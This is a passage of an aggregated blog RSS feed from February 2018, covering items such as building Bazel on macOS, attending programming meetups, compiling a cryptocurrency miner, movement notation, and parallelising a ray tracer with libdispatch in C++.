it.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Thu, 08 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/designingyourlife/</guid></item><item><title>Stunning nature photographs</title><link>https://ilearnt.com/blog/naturephotographs/</link><description>&lt;p&gt;These nature photos are absolutely stunning. Some people have a gift for photography &amp;hellip; and I am not one of them.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Thu, 08 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/naturephotographs/</guid></item><item><title>Slaughterbots – AI &amp;amp; Military</title><link>https://yasha.solutions/slaughterbots-ai-military/</link><description>Watch this video:
 &amp;lt;div class=&amp;lsquo;avia-video avia-video-16-9 av-lazyload-immediate av-lazyload-video-embed ' itemprop=&amp;ldquo;video&amp;rdquo; itemtype=&amp;ldquo;https://schema.org/VideoObject&amp;quot; data-original_url=&amp;lsquo;https://www.youtube.com/watch?v=HipTO_7mUOw&amp;rsquo; &amp;gt;
 None of the technologies involved in this video are too far away from what is available today.
 When you think about all the data available from face recognition, and geo-localisation – available from all major corporation – from Google to Apple including Facebook or Amazon – just to name the big ones – it does make you think.</description><author>Yasha Solutions</author><pubDate>Thu, 08 Feb 2018 11:59:28 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/slaughterbots-ai-military/</guid></item><item><title>A reminder from Storify to all platform cooperatives</title><link>https://stop.zona-m.net/2018/02/a-reminder-from-storify-to-all-platform-cooperatives/</link><description>&lt;p&gt;Storify is a very popular service to turn what people post on Twitter, Facebook, Instagram,,, into compelling &amp;ldquo;stories&amp;rdquo; that can be embedded in any web page. I believe that its &lt;a href="https://storify.com/faq-eol"&gt;annunced death&lt;/a&gt; can teach something to all platform cooperatives.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 08 Feb 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/a-reminder-from-storify-to-all-platform-cooperatives/</guid></item><item><title>A new thing in my bucket list: building a custom mechanical keyboard</title><link>https://yasha.solutions/a-new-thing-in-my-bucket-list-building-a-custom-mechanical-keyboard/</link><description>Literally Probably wont do that for now – that’s like super expensive for what it is – meaning just a keyboard – but would really be a great stuff to build.
I mean I checked this site : KBDfanswhich is referred in the video – and yeah.. what can I say these mechanical keyboards parts are freaking awesome!
Any of you out there did that already?</description><author>Yasha Solutions</author><pubDate>Wed, 07 Feb 2018 13:08:57 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/a-new-thing-in-my-bucket-list-building-a-custom-mechanical-keyboard/</guid></item><item><title>not quitting</title><link>https://yasha.solutions/not-quitting/</link><description>so yeah… I know it was supposed to post everyday.
Well, it is apparently not 100% there yet.
I know it is coming so I am not too worried.
Maybe a bit disappointed with myself.
The whole idea of /var/log was to create a space online where I could somehow journal my work, my research, my idea, draft my articles without holding it all either on my computer or in my head…</description><author>Yasha Solutions</author><pubDate>Tue, 06 Feb 2018 10:18:13 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/not-quitting/</guid></item><item><title>Building bazel on macOS</title><link>https://xenodium.com/building-bazel-on-macos</link><description>&lt;h2&gt;Bootstrap&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew tap bazelbuild/tap
brew install bazelbuild/tap/bazel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;git clone https://github.com/bazelbuild/bazel.git
cd bazel
bazel build //src:bazel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Get your bazel binary&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Self-contained binary in bazel-bin/src/bazel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Known revisions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/bazelbuild/bazel.git"&gt;https://github.com/bazelbuild/bazel.git&lt;/a&gt; @ d81a46cebe07f73d3ea38206262cf7a1a9513b42&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bazelbuild/rules_apple.git"&gt;https://github.com/bazelbuild/rules_apple.git&lt;/a&gt; @ e921a9f727e039c8b5087d4f98c5d09f189658cd&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 06 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/building-bazel-on-macos</guid></item><item><title>How to Attend Your First Programming Meetup</title><link>/attending-meetups/</link><description>&lt;p&gt;Attending your first programming meetup can leave you a little apprehensive. I felt the same! So, I thought it may be useful to break down my first meetup experience and how you can start attending meetups yourself.&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;First meetup &lt;a href="https://twitter.com/hashtag/nottsjs?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#nottsjs&lt;/a&gt; &lt;a href="https://t.co/2IQ0vImjxW"&gt;pic.twitter.com/2IQ0vImjxW&lt;/a&gt;&lt;/p&gt;&amp;mdash; Josh Ghent (@joshghent) &lt;a href="https://twitter.com/joshghent/status/874685729179357184?ref_src=twsrc%5Etfw"&gt;June 13, 2017&lt;/a&gt;&lt;/blockquote&gt;
&lt;h2&gt;Why did I want to go to a programming meetup in the first place?&lt;/h2&gt;
&lt;p&gt;The primary reason was &lt;strong&gt;the people&lt;/strong&gt;. I think it’s always a good idea to network with people who you could potentially be working with and learn from them. There is always something you can learn from someone, regardless of their ability — and I embrace this principle heavily at these meetups by attempting to talk to as many people as possible.&lt;/p&gt;
&lt;p&gt;The most fascinating aspect, in my view, is hearing about how companies are working on a structural level and the technologies they are utilising. For example, I spoke with someone who worked at a bank and was working on rewriting their entire stack using Node. I found this intriguing because Node is a relatively new technology. I quizzed him on a how they were handling the key areas for banking software, scale and security. Since I myself had never used node in such a critical environment, it was fascinating to gain such insights.&lt;/p&gt;
&lt;p&gt;Talks are also a great way to learn about new technologies. My first meetup had a talk entitled “Machine Learning for Muggles” and walked you through how to use Azure’s Machine Learning capabilities as well as a broad overview on how machine learning works. Being on the very bleeding edge of technology, it was amazing to get industry leading teaching and far outweighed any content I had found online. Furthermore, having an expert on the subject delivering the talk allows you to ask questions that may be challenging to find answers to online.&lt;/p&gt;
&lt;p&gt;The third and final reason, is that any good meetup will have free pizza! 🍕&lt;/p&gt;
&lt;h2&gt;How did you find your meetup?&lt;/h2&gt;
&lt;p&gt;There is an easy answer to this: &lt;a href="https://www.meetup.com/"&gt;meetup.com&lt;/a&gt;. I looked up all programming meetups in the area and found one that looked active and had a history of talks I was intrigued by. I signed up for a few, I would recommend any “first time meetup” folk to do the same — spread yourself out, you never know what you may like. Despite being a PHP programmer at my present job, I ended up attending a Javascript meetup! Don’t limit yourself to a meetup targeted at a language you currently use. Take a look at the talks and see if they interest you. As I say, my first meetup was the Nottingham Javascript group but the talk itself was about machine learning, far related to Javascript.&lt;/p&gt;
&lt;p&gt;Generally, talks will be geared around a certain technology, let’s say Docker for example — with tips targeted at that meetups language. As an example, a talk about Docker at a PHP based meetup may be titled “Setting up a PHP development environment in Docker”. Even if you don’t know PHP (or whatever language the meetup aims at), you’ll find the talks valuable and lots of people who, like you, don’t use that particular language.&lt;/p&gt;
&lt;h2&gt;What should I do at a meetup?&lt;/h2&gt;
&lt;p&gt;Now you can only go for the talk but that’s only half of the experience. I would highly recommend (after grabbing some pizza of course) just approaching people and introducing yourself. Programmers are generally a shy bunch, but ultimately, we all share a common interest so there will be plenty to talk about.&lt;/p&gt;
&lt;p&gt;Initially I found that everyone seemed to be in their own little circle talking amongst one another; if that is the case, just go up to them and say “&lt;em&gt;hi, how ya doing? I’m Josh&lt;/em&gt;” (obviously substitute your name for mine but you get the idea). Ask about people’s jobs and what they are doing there, what exciting technologies they are using, and if they found the talk interesting. Almost every programmer you will talk to will have some kind of side project they are working on — talk about that! That can lead to some of the most exciting discussion as usually people are experimenting with cutting edge technology that they would not be able to use day-to-day.&lt;/p&gt;
&lt;p&gt;Be thinking all the while about what questions you can ask them based on what they are saying, it show you are listening to them and are genuinely engaged in the conversation.&lt;/p&gt;
&lt;p&gt;Other talking points may include, asking them about the company they work for, how big is it, where are they based and so on.&lt;/p&gt;
&lt;p&gt;When wrapping up a conversation, don’t make excuses about going to the bathroom (unless you actually need to), simply say “&lt;em&gt;I’m going to introduce myself to some other people now but I’d love to continue this conversation, perhaps I can take your email and we can talk&lt;/em&gt;”. Since this is work related, people may get a little cagey about handing over their phone number, so opt for business related avenues of communication, email, twitter and LinkedIn.&lt;/p&gt;
&lt;p&gt;All in all, don’t be scared. These are your people, just as shy and nerdy as you are. So put yourself out there and see who you meet. There are lots of interesting people out there! If all else fails, see if you can convince a coworker or friend to come along.&lt;/p&gt;
&lt;p&gt;👋 I am available for hire as a freelance web and application developer. Contact me at &lt;a href="mailto:hola@joshghent.com"&gt;hola@joshghent.com&lt;/a&gt; if you would like to discuss any projects you have in mind.&lt;/p&gt;</description><author/><pubDate>Tue, 06 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">/attending-meetups/</guid></item><item><title>Open Source home appliances!</title><link>https://stop.zona-m.net/2018/02/open-source-home-appliances/</link><description>&lt;p&gt;If you can only fund one project this year, please put this in your short list:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 05 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/open-source-home-appliances/</guid></item><item><title>Dancing without sound</title><link>https://ilearnt.com/blog/dancingwithoutsound/</link><description>&lt;p&gt;My daughter loves dancing - always has done - whether it is street, contemporary or ballet. However she faces none of the challenges the dancers (and musicians) in this video face. I won&amp;rsquo;t spoil it here &amp;hellip; just watch.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 05 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/dancingwithoutsound/</guid></item><item><title>Smart glasses you might actually wear</title><link>https://ilearnt.com/blog/intelvaunt/</link><description>&lt;p&gt;Intel have just announced a new set of smart glasses that don&amp;rsquo;t look stupid. Admittedly the functionality is a lot more limited that other offerings however these look a lot more normal than them. It provides very limited functionality to display a small red image in the lower part of the wearers vision. Cleverly it also disappears when the user is not looking down.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 05 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/intelvaunt/</guid></item><item><title>The simple idea of free water refills</title><link>https://ilearnt.com/blog/freewater/</link><description>&lt;p&gt;This is such a simple idea and could potentially have a huge impact if it takes off - cafes and pubs filling up water bottles for free.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 05 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/freewater/</guid></item><item><title>It's 2018, and Libre Office is still promoted in the wrong way?</title><link>https://stop.zona-m.net/2018/02/in-2018-libre-office-still-promoted-in-the-wrong-way/</link><description>&lt;p&gt;A &lt;a href="http://www.zdnet.com/article/libreoffice-the-best-office-suite-gets-even-better-with-libreoffice-6-0/"&gt;recent review of LibreOffice 6.0&lt;/a&gt; explains well how good it is, but also presents as a feature what actually is a failure (not in LibreOffice!).&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 05 Feb 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/in-2018-libre-office-still-promoted-in-the-wrong-way/</guid></item><item><title>Mgmt Configuration Language</title><link>https://purpleidea.com/blog/2018/02/05/mgmt-configuration-language/</link><description>&lt;p&gt;&lt;a href="https://github.com/purpleidea/mgmt/"&gt;Mgmt&lt;/a&gt; has given us a lot of great
features, demos, and insight into how infrastructure automation should be
managed. Unfortunately it wasn&amp;rsquo;t a complete tool yet, because it was missing a
crucial piece for its completeness. That all changes today with the addition of:
the &lt;strong&gt;language&lt;/strong&gt;.&lt;/p&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;p&gt;An ideal language allows us to express easily what is useful for the programming task, and at the same time makes it difficult to write what leads to incomprehensible or incorrect programs.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 05 Feb 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2018/02/05/mgmt-configuration-language/</guid></item><item><title>Seven</title><link>https://olshansky.info/movie/seven/</link><description>Olshansky's review of Seven</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 05 Feb 2018 05:44:44 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/seven/</guid></item><item><title>Reasons I use a mock API in React Native apps</title><link>https://goshacmd.com/why-i-mock-api-in-mobile-apps/</link><author>Gosha Spark</author><pubDate>Mon, 05 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/why-i-mock-api-in-mobile-apps/</guid></item><item><title>I successfully compiled the xmr-stak miner with CUDA</title><link>https://jmthornton.net/blog/p/xmrstakcompile</link><description>After many errors and failures, I found a method to successfully compile the xmr-stak unified XMR miner with CUDA support</description><author>Blog by Jade Michael Thornton</author><pubDate>Sun, 04 Feb 2018 17:00:00 GMT</pubDate><guid isPermaLink="true">https://jmthornton.net/blog/p/xmrstakcompile</guid></item><item><title>Movement Notation</title><link>https://rybakov.com/blog/movement_notation/</link><description>&lt;p&gt;&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/movementnotation_history.png" /&gt;




&lt;/figure&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;There is a long history of movement notations. Before ubiquitous video capture you had to preserve the developed choreography somehow. Now they are more of a historical curiosity, even though they do look amazing as graphical systems.&lt;/p&gt;
&lt;p&gt;Of course, you could also provide simple illustrations of positions, as was done in a book by Golena Voyachkova &amp;ldquo;Movement - the root of woman&amp;rsquo;s health and beauty&amp;rdquo; that came out in the Soviet Union in 1965.
It tried to illustrate movement by showing the correct (on the left) and the wrong (on the right) way of doing things.&lt;/p&gt;
&lt;p&gt;&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/movementnotation_book.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The last image is titled &amp;ldquo;The exemplary start of the negro&amp;rdquo;. This book is a good indication how movements were perceived as gender and race specific fifty years ago.&lt;/p&gt;
&lt;p&gt;Then again you could describe movement through text:&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sun, 04 Feb 2018 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/movement_notation/</guid></item><item><title>Raytracing with libdispatch</title><link>https://whackylabs.com/concurrency/raytracing/graphics/pbr/2018/02/04/raytracing-libdispatch/</link><description>&lt;h3 id="problem"&gt;Problem&lt;/h3&gt;

&lt;p&gt;So, I decided to make the ray tracer render frames faster. It was getting significantly painful to make some change, build and run and wait for several minutes before the rendering completed.&lt;/p&gt;

&lt;p&gt;Before any performance improvements, I profiled the time, it was around 10 minutes per frame.&lt;/p&gt;

&lt;p&gt;&lt;img alt="main thread" src="https://i.imgur.com/gYlhjjx.png" /&gt;&lt;/p&gt;

&lt;p&gt;This was when using a single thread for all the processing.&lt;/p&gt;

&lt;h3 id="solution"&gt;Solution&lt;/h3&gt;

&lt;p&gt;The good thing about a ray tracer is that, it is actually very straightforward to make every ray being traced as purely reentrant which makes them ideal candidate for concurrency. The only thing that needs special consideration is the data structure holding the pixel information. As each ray can take different time to compute the final color value, we need a way to synchronize the ray coordinates with the final color value, to avoid any race conditions between 2 concurrent write operations.&lt;/p&gt;

&lt;p&gt;To illustrate the problem, a ray which hits no objects will be much faster to compute the final value than the ray which hit multiple objects and bounces all over the place. The first solution to such a solution could be to guard the write operation to the image data with a &lt;a href="https://en.wikipedia.org/wiki/Lock_(computer_science)"&gt;mutex&lt;/a&gt;.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;// data structure for pixel data&lt;/span&gt;
&lt;span class="n"&gt;Film&lt;/span&gt; &lt;span class="n"&gt;film&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// spawn a new thread&lt;/span&gt;
        &lt;span class="n"&gt;simd&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;float3&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// write color value by acquiring a mutex lock&lt;/span&gt;
        &lt;span class="n"&gt;film&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;updateColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="c1"&gt;// release mutex&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The reason this implementation is just a pseudo-code is that this will never scale up, as this algorithm requires number of threads equal to number of pixels of the target image. Which as per &lt;a href="https://en.wikipedia.org/wiki/Amdahl%27s_law"&gt;Amdahl’s law&lt;/a&gt; might do more harm than good.&lt;/p&gt;

&lt;h3 id="libdispatch"&gt;libdispatch&lt;/h3&gt;

&lt;p&gt;The first solution that I actually tried was using &lt;a href="https://apple.github.io/swift-corelibs-libdispatch/"&gt;Apple’s libdispatch&lt;/a&gt;. Grand Centeral Dispatch (GCD) or libdispatch is a high level concurrency library which moves the concurrency problem from threads to tasks. At the core of libdispatch lies the concept of queues. A queue can then run &lt;code class="language-plaintext highlighter-rouge"&gt;N&lt;/code&gt; number of tasks in parallel. With libdispatch, each operation can be thought of as a unit of work that can then be dispatched to any queue. The only challenge left then is to design the queue architecture and work units or operations to be performed.&lt;/p&gt;

&lt;p&gt;For our case, if we think of each rendering of a pixel as an independent task then we can then simply schedule the tasks on a parallel queue. At the end of each trace, we need to update the shared data structure with color information. And once all the tasks are complete we are done!&lt;/p&gt;

&lt;p&gt;The first thing we need is a serial queue &lt;code class="language-plaintext highlighter-rouge"&gt;filmQueue&lt;/code&gt; which is responsible for synchronizing write operations on &lt;code class="language-plaintext highlighter-rouge"&gt;film&lt;/code&gt;, which is just the pixel data store.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;dispatch_queue_t&lt;/span&gt; &lt;span class="n"&gt;filmQueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dispatch_queue_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.whackylabs.srt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DISPATCH_QUEUE_SERIAL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next we can either make our own concurrent queue, or simply use one of the few system global concurrent. Let us call this parallel queue &lt;code class="language-plaintext highlighter-rouge"&gt;rayQueue&lt;/code&gt; which is the concurrent queue and manages the parallel execution of all the rays in the scene. With this task based approach we won’t have to manage the thread pool ourselves.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;dispatch_queue_t&lt;/span&gt; &lt;span class="n"&gt;rayQueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dispatch_get_global_queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;QOS_CLASS_BACKGROUND&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can already implement our algorithm:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rayQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;float3&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filmQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;film&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;updateColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;With that in place, we now need a mechanism to notify us when the all the rays have evaluated a color, so that we can start processing the collected pixel data.&lt;/p&gt;

&lt;p&gt;This is the job best suited for dispatch groups. You can think of dispatch group as a high level semaphore which waits for N resources and signals when all resources are released. To acquire the resource we have to call &lt;code class="language-plaintext highlighter-rouge"&gt;dispatch_group_enter&lt;/code&gt; and to release &lt;code class="language-plaintext highlighter-rouge"&gt;dispatch_group_leave&lt;/code&gt;. The signal is implemented with &lt;code class="language-plaintext highlighter-rouge"&gt;dispatch_group_notify&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here’s how this would look:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;dispatch_group_t&lt;/span&gt; &lt;span class="n"&gt;rayTask&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dispatch_group_create&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
